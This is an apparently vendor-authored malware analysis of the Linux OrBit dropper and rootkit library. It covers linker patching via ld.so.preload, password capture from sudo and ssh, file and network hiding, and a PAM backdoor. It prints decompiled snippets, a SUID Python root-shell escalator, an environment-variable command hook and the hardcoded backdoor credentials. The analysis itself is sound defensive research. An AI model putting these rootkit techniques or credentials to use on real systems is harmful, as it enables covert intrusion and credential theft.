Orbit is a two-stage malware that appeared in July 2022, discovered by Intezer lab. Acting as a stealer and backdoor on 64-bit Linux systems, it consists of an executable acting as a dropper and a dynamic library.
In July 2022, Intezer's research teams published the first paper on the OrBit malware, with an evocative title: 'New Undetected Linux Threat Uses Unique Hijack of Execution Flow'. This paper has the modest intention of completing this analysis of the malware.
The OrBit dropper
The goal of the dropper is to install a shared library on the target system.
Several command line arguments are supported:
- Without argument, the malware is installed in the directory
/lib/libntpVnQE6mk/
- sh installs the malware in
/dev/shm/ldx
- shred removes the malware
- newpath modify the linker to write the path passed in parameter
- mov installs the malicious library in the chosen directory with name passed in parameter
- -O ignore the version of the binary ld.so during installation
- -o allows to rewrite the path written in the linker by
/dev/shm/ldx/.l
- -u reinstalls the malware
Files created
Utility
Persistent installation
Entry point of the malware
The main
function vérifie checks for the presence of the directory /lib/libntpVnQE6mk
, this will eventually contain all the files and subdirectories needed for the malware to work effectively, its absence means that the malware is not yet present.
Once the directory is created, the program changes the owner group ID to 920366.
/* main() - Creation of the directory */ if (stat("/lib/libntpVnQE6mk", ...) { puts("new hdd"); system("mkdir /lib/libntpVnQE6mk"); chown("/lib/libntpVnQE6mk", 0, 920366); backup_ld(); }
This identifier is very unlikely to belong to a group already present on the system and is used by the malware to differentiate malicious directories, files and processes from normal ones.
Backup of the linker
The program then calls the backup_ld
function, as its name suggests, this function makes a backup of the dynamic linker present on the machine.
backup_ld() - Linker backup readlink("/lib64/ld-linux-x86-64.so.2", dest); /* ... */ sprintf(src, "cp %s /lib/libntpVnQE6mk/.backup_ld.so", dest); return (system(src));
On a 64-bit Linux system, the symbolic link /lib64/ld-linux-x86-64.so.2
points to the dynamic linker binary.
The malware obtains the path to the linker through this symbolic link and copies it to the location /lib/libntpVnQE6mk/.backup_ld.so
.
Creation of the malicious dynamic library
The malware then introduces a malicious shared library with the load_ld
function which takes as parameter the destination path of this library.
A check is performed on the version of the linker, it has a name like ld-${LIBC_VERSION}.so
, which means that each libc version brings a new linker.
If the version is lower than 2.4 (before September 2006), then the check fails unless you use the -O
option on the command line.
The path passed in parameter is then created.
load_ld() - Check of the linker version stream = popen("ls -l /lib64/ld-linux-x86-64.so.2", "r"); fread(buffer, 1, 255, stream); /* ... */ ld_version = strstr(buffer, "ld-2."); if (ld_version) { if (ld_version[5] <= '4' && ld_version[6] == '.') { printf("ld error: %s\n", buffer); return override_version != 0; } else { return (1): } } else { printf("ld: %s\n", buffer); return (0); }
Two symbols are then used to fill the file:
rkld_so
whose first 4 bytes (7F 45 4C 46
) are the signature of an executable binary under Linux: this is where the malicious library of the malware is located.rkld_so_len
which contains the size of the malicious library.
load_ld() - Creation of the malicious library unlink(a1); fd = open(...); write(fd, &rkld_so, rkld_so_len); fchown(fd, 0, 920366); close(fd); return (build_root());
Being one of the files associated with the malware, it is assigned the group ID 920366.
Creation of utility files
Once the library is on the system, the malware will build a directory and file tree that will be useful when the malicious library is used.
The two files placed in /lib/libntpVnQE6mk/bin
stand out:
python
which is the copy of the python interpreter bcy adding a SUID bit to it.- A python script stored in base64 in the binary that is used to elevate the privileges of a user.
Finally, the .l
is added and the malicious library path is written to it (/lib/libntpVnQE6mk/libdl.so
).
Linker modification and replacement
The last function called to finish the installation of the malware is patch_ld
which will allow the malicious library to be used instead of the classic libraries.
In the same way as for the backup seen previously, the program, thanks to the symbolic link /lib64/ld-linux-x86-64.so.2
, then copies the original linker to /lib/lib0UZ0LfvWZ.so
.
This file is then opened and mapped in memory to search for the string /etc/ld.so.preload
and replace it by /lib/libntpVnQE6mk/.l
(see precision part).
The program then changes the location of the copy of the linker to that of the original linker, so that every time the program is run, the modified copy of the linker is used.
Volatile installation
Entry point of the malware
Using sh on the command line, the program will install the shared library in the /dev/shm/ldx
directory.
This directory is not really a directory, it is a tree representation of the shared memory system(SHared Memory) which is a way to communicate between different processes (e.g. during a fork).
The data present is erased as soon as the user disconnects from the machine.
Installation function
The rkload_shm
function is then called, which performs all the necessary steps to deploy the malware.
The temporary installation is very similar to the persistent installation:
- The creation of the
/dev/shm/ldx
directory avec 920366 as the group ID - The creation a backup of the linker (
/dev/shm/ldx/.backdup_ld.so
) - The modification of the linker with the
patch_ld
- A call to
load_ld
which places the malicious library in/dev/shm/ldx/libdl.so
- The creation of the file
/dev/shm/ldx/.l
which contains the path of the previously created library
rkload_shm() - Volatile installation system("mkdir /dev/shm/ldx"); chown("/dev/shm/ldx", 0, 920366); system("cp -p %s /dev/shm/ldx/.backup_ld.so"); //erreur patch_ld(1, 1); load_ld("/dev/shm/ldx/libdl.so"); fd = open(...); write(fd, "/dev/shm/ldx/libdl.so\n", 22); return (close(fd));
The line system("cp -p %s /dev/shm/ldx/.backup_ld.so");
is bound to fail because the system function does not support string formats ("%s") and the path to the original linker is never recovered.
The volatile installation therefore modifies the linker without being able to retrieve the original.
Manual modification of the linker
With newpath, the program offers the possibility to choose the file path to be modified in the linker via swap_ldpath
function.
The linker pointed by the symbolic link /lib64/ld-linux-x86-64.so.2
is copied to /lib/lib0UZ0LfvWZ.so
and searches in the file for the string passed in the 1st argument of the program to replace it by the string passed in the 2nd argument.
This function is similar to patch_ld
function, the process is the same if the following arguments are passed on the command line: /etc/ld.so.preload /lib/libntpVnQE6mk/.l
Two ways of using this capability can be distinguished:
- If the malware is already installed, the corrupted linker can be changed to point to another file.
- If the malware is not installed, the attacker may want to use another library and different directories or files than those proposed in the classic installation, the dropper is then only used to modify the linker.
Reset
With the -u argument passed on the command line, the program calls the rkld_update
function.
This function retrieves the path to the current installation of the malicious library and reinstalls it with load_ld
.
rkld_update() - Recovery of the installation path if (stat("/lib/libntpVnQE6mk/libdl.so", v1)) { if (!stat("/dev/shm/ldx/libdl.so", v1)) lib_path = "/dev/shm/ldx/libdl.so"; } else { lib_path = "/lib/libntpVnQE6mk/libdl.so"; } return (load_ld(lib_path));
We can note an unmanaged case, summarized by the diagram below:
Deleting
To remove the corrupted linker, the program supports the shred hat causes a call to the unload_ld
function.
In this function, the file /lib/libntpVnQE6mk/.l
is deleted and the original linker backup replaces the modified linker at the location pointed to by the symbolic link /lib64/ld-linux-x86-64.so.2
.
Clarification on the elevation of privilege script
The escalator file has theSUID bbit of the root user, so in theory executing the execv
function should open a bash shell with root rights (0:0).
It is however necessary to add the setreuid
function before execv
.
escalator import os os.setreuid(0, 0) os.execv("/bin/bash", ("/bin/bash", "-i"))
To understand why, we must first talk about the identifiers. In a Linux system, each user has an identifier, these are visible in the /etc/passwd
file. This identifier is the real id (ruid). There is also an effective id which has the same value as the real id most of the time.
When running a program with the bit SUID set, a user will only have his effective id changed to the value of the file owner's, which means that the real id remains the same.
But when a shell is run, if the effective id is different from the real id then the shell takes the real id as reference and removes the privileges granted by the SUID bit.
Thus, in the case of the python script, the user would not be root once /bin/bash is launched. To remedy this problem, the setreuid
function is called before the execution of the command. This function allows to change directly the real id if the effective id allows it. This way /bin/bash is run with a real id and an effective id of 0 (root).
Clarification on the dynamic linker
A binary under Linux can be compiled in a static or dynamic way.
In static mode, the program contains all the libraries necessary for it to function properly and can be executed directly.
In dynamic mode, the dependencies are not added to the binary but stored as symbols.
During its execution, the dynamic linker searches for symbols in a list of shared libraries and loads the necessary libraries into memory.
Finally, the dynamic linker matches the symbols of the program with the functions either before the execution of the program or when a function is called.
The order in which the libraries are loaded in memory is predefined but it is possible to load libraries in priority:
- With the
LD_PRELOAD
environment variable
- With the
/etc/ld.so.preload
file
The latter is only supposed to exist for testing purposes and is therefore absent by default on a production system. We find in the source code the definition of the string used to open this file.
Source code of the ld.so binary 1869 /* There usually is no ld.so.preload file, it should only be used 1870 for emergencies and testing. So the open call etc should usually 1871 fail. Using access() on a non-existing file is faster than using 1872 open(). So we do this first. If it succeeds we do almost twice 1873 the work but this does not matter, since it is not for production 1874 use. */ 1875 static const char preload_file[] = "/etc/ld.so.preload";
As the variable is declared constant, its value is found in the compiled binary, in the .rodata
section.
When the linker is executed, the program retrieves the value located at the location of this string.
If this string is modified, the new value will be used by the binary when initializing the preload_file
variable and the location remains the same.
Thus, the malware can insert a string representing the path to a file containing its own list of shared libraries.
OrBit library
The library has several purposes, it allows the malware to remain discreet by modifying network captures and preventing users from manipulating malicious files.
It also allows capturing passwords and allowing SSH connections with a predefined username and password to bypass authentication.
Modification of system call interfaces
Instead of directly calling the functions that interface to system calls (write
, open
, stat
, etc.), the library uses syscall
directly, which takes as a parameter the number of the desired system call followed by the arguments usually sent.
This method is used because the library itself defines its own interfaces with malicious effects for certain system calls and therefore cannot use them to obtain standard behavior.
Obfuscation
The library contains strings obfuscated with XOR encryption within the data section.
The decryption is done on the fly with a key measuring one byte and having the value 0xA2
(162
).
xor cypher for (i = 0; i < len_string; ++i) string[i] = obfuscated_string[i] ^ 0xA2; string[i] = 0;
Constructor
In a code compiled with GCC, it is possible to add attributes to the functions, these attributes allow to modify the compilation in order to change the behavior of the program during its execution.
Among them, we find the constructor and the destructor, allowing respectively to execute code before and after the main
function of a program.
_do_global_ctors_aux
In the library, there is a function _do_global_ctors_aux
, this is where the functions with the constructor
attribute are called..
The program retrieves the fct_ptr
array, created by the compiler and which contains the addresses of the functions to be executed.
If this array is not empty, a loop goes through each entry to call the functions.
_do_global_ctors_aux() fct = array_fct_constructor; if (array_fct_constructor != -1) { fct_iterator = &array_fct_constructor; do { --fct_iterator; fct(); fct = *fct_iterator; } while (fct_iterator != -1); } return (fct);
__libc_sym_init
This function with the constructor
attribute is split into parts, the first executes a user command via an environment variable while the second executes a predefined file.
If the environment variable HTTP_X_MAGICAL_PONIES is present when a program is executed, its value will be executed as a command line before the variable is deleted.
__libc_sym_init() - Command execution if (getenv("HTTP_X_MAGICAL_PONIES")) { command = getenv("HTTP_X_MAGICAL_PONIES"); unsetenv("HTTP_XMAGICAL_PONIES"); system(command); }
In the second step, if the program name contains cron, the file /dev/shm/.lck
is created and its owner group id is set to 920366 then the file is closed.
A new process is created to run the .boot.sh
, a group id 920366 is assigned to it to get the maximum permissions.
__libc_sym_init() - Execution of the .boot.sh file v0 = strstr(_progname, "cron"); if (v0) { v0 = syscall(2, "/dev/shm/.lck", 192, 420); // open() fd = v0; if (v0 >= 0) { syscall(93, fd, 0, 920366); // chown() sycall(3, fd); // close() v0 = fork(); if (!v0) { syscall(106, 920366); // setgid() len_string = 27; for (i = 0; i < len_string; ++i) string[i] = obfuscated_string[i] ^ 0xA2; // /lib/libntpVnQE6mk/.boot.sh string[i] = 0; stream = popen(string, "r"); pclose(stream); exit(0); } } }
The .boot.sh
is left empty when the dropper creates it, but it is easy to imagine that an attacker connected via SSH could add commands to exfiltrate the collected data.
By using a file rather than the cron, service, the malware remains discreet and avoids being detected with the crontab -l command which lists the various tasks; on the other hand, the attacker does not control the recurrence of the execution of his script.
Password Capture
In order to recover the passwords entered by a user, the write
and read
functions are modified and used in a complementary way with the global variables sshpass
and sniff_ssh_session
.
Sudo and ssh programs have in common that they display a sentence like [sudo] pass or 's password to tell the user to enter his password, which implies that the next calls to read
will be used to recover the password.
If one of these strings is detected in the write
function ,the sshpass
variable takes the value 1.
With this value, the read
function saves each entry in the file sshpass2.txt
until it reads a newline (\n
) sets sshpass
to 0.
This mechanism allows to save only the user passwords without having to save each entry.
Once the password is entered, the read
function checks the existence of the .sniff
file. If it is present on the system, sniff_ssh_session
takes the value 1. This variable is used in write
, a value of 1 will save all the content of the ssh session in the file sniff.txt
.
Hiding in the file system
To avoid that the files related to the malware can be listed, read, written or deleted by an ordinary user, the library redefines the stat
ystem call which allows to get information about a file or a directory.
Thus, the library can retrieve the identifier of the group that owns a file in functions like open
, readdir
or opendir
.
If this group identifier is 920366 and the user does not have this id, the library refuses access and the file or directory cannot be opened or read.
Verification of the group identifier is_malicious = syscall(4, path, &info_file) >= 0 && info_file.st_gid == 920366; // stat() if (is_malicious && syscall(104) != 920366) { // getgid() return (-1); }
Open fonction
This function has the goal of making the malware as undetectable as possible.
The procfs is a file system that allows to get information about the running processes, several files that allow to detect the malware are located there.
/proc/net/tcp
which contains the list of active TCP connections/proc/*/maps
,/proc/*/smaps
and/proc/*/numa_maps
which contain information about the memory representation of a process.
Among this information are the name and address of the different segments of a program, so the dynamic libraries used are present.
If one of these files is passed as a parameter to the open
function, the library creates a temporary file. Inside this file, the content of the original file is copied line by line, excluding those containing information about suspicious activity.
The /var/log/lastlog
file which contains the list of users having connected in SSH is also targeted by the malicious library.
In order to avoid that the attacker's connections are listed, the library returns a file descriptor on /dev/null
which results in writing the logs nowhere.
open() - Hiding suspicious SSH connections if ( syscall(104) == 920366 ) // getgid() { len = 4; for ( k = 0; k < len; ++k ) sshd[k] = obfuscated_string[k] ^ 0xA2; sshd[len] = 0; if ( !strcmp(_progname, sshd) ) { len = 7; for ( m = 0; m < len; ++m ) lastlog[m] = obfsucated_string_2[m] ^ 0xA2; lastlog[len] = 0; if ( strstr(filename, lastlog) ) haystack = "/dev/null"; } } /* ... */ return syscall(2, haystack, mode, flags);
Backdoor
To allow an attacker to get access to the infected machine, the library rewrites several functions of the PAM library which is used to centralize and configure authentications for different programs (sudo, sshd, cron, etc...).
The pam_authenticate
function is used to authenticate a user to a service, it is responsible for retrieving the username and password.
In the implementation of the library, its role is also to allow an attacker to connect with an identifier("2l8
").
In case this username is entered, the port involved in the connection is added to the .ports file and the group ID for the user is given the value 920366.
The password is checked by the pam_get_password
, which will return a success value if the password sent is ("c4ss0ul3tt3
").
pam_get_password() - Hardcoded password len = 3; for (i = 0; i < len; ++i) { password_2l8[i] = obfuscated_string[i] ^ 0xA2; password_2l8[len] = 0; if (!strcmp(username, password_2l8)) { /* ... */ len = 25; for (j = 0; j < len; ++j) ports_filename[j] = obfuscated_string_2[j] ^ 0xA2; ports_filename[len] = 0; fd = syscall(2, ports_filename, 1090, 420); // open() /* ... */ syscall(1, fd, port_to_hide, len_port_to_hide); // write() syscall(3, fd); // close() syscall(106, 920366); // set_gid() if (pam_get_password(...)) return (0); // Authentication done else return (6); // Authentication failed }
In the other hand, if a lambda user connects, and the .logpam
file exists, the original function is called, in case of success, the pam_log_password
function writes the username and password in the sshpass.txt
file.
Modifying network frames
To prevent the attacker's SSH connections or other network activities from being detected, bind
et connect
as well as some functions of the pcap are reimplemented by the malware.
bind / connect
The bind
function is used to assign a socket to an ip address and a port, this function is necessary when a program wants to take the role of a server to be able to accept new incoming connections.
If bind
or connect
are called by a program launched by the malicious user, the port used is written to the .ports
file previously created by the dropper.
bind() - Retrieve the port involved in the attacker's connection if ( syscall(104) == 920366 ) // getgid() { port = htons(serv_addr->sin_port); len = 25; for ( i = 0; len > i; ++i ) ports_file[i] = obfuscated_string[i] ^ 0xA2; ports_file[len] = 0; fd = syscall(2, ports_file, 1090, 420); // open len_buffer = sprintf(buffer, "%d\n", port); syscall(1, fd, buffer, len_buffer); // write() fsync(fd); syscall(3, fd); // close() }
libpcap
The pcap library is used on unix systems to capture packets on a network interface, it is notably used in tools like wireshark, tcpdump, nmap etc... The goal of the malware is to remove packets containing ports from suspicious connections.
The pcap_loop
function allows to start capturing packets on an interface and takes as argument a function, which will be called each time a packet is intercepted.
In its own implementation, the library saves the function passed as argument in the global variable orig_callback
and calls pcap_loop
with another function: pcap_packet_callback
.
The header of each captured packet is analyzed to determine the protocol (TCP or UDP), in both cases, a function is called to check if the involved ports are found in the .ports
or .udp
files.
If no suspect ports are found, the original callback function is called.
execve
The execve
function aims to further disguise the malware from the eyes of a normal user by removing specific content or content in configuration files from certain commands:
- dmesg is stripped of lines containing
promiscuous
,zapping
,tcpdump
,libntpVnQE6mk
andlibdl.so
, as well as the contents of the/lib/ibntpVnQE6mk/.sys/.dmesg
file. - strace sis stripped of lines containing
.l
,920366
andlibntpVnQE6mk
. Also, if the -o option is used, the output will be redirected to/tmp/.orbit
. - ip and iptables have their output compafred with the contents of
/lib/libntpVnQE6mk/.net
and/lib/libntpVnQE6mk/.fw
, the lines are also removed in case of a match.
If the variable LD_TRACE_LOADED_OBJECTS is present in the environment of the user running a program, the list of used dynamic libraries is displayed on the screen.
To stay hidden, the malware modifies the linker to use the backup present in its folder.
Finally, if the file /lib/libntpVnQE6mk/.nolog
is present, each command executed will be written in /lib/libntpVnQE6mk/execlog
.
OrBit IoC
SHA-256
Stormshield protections against OrBit
With the Stormshield Network Security solution, dedicated to network protection, the dropper and the OrBit library are detected and blocked thanks to the embedded antiviral engine, but also via the Breach Fighter cloud detonation option.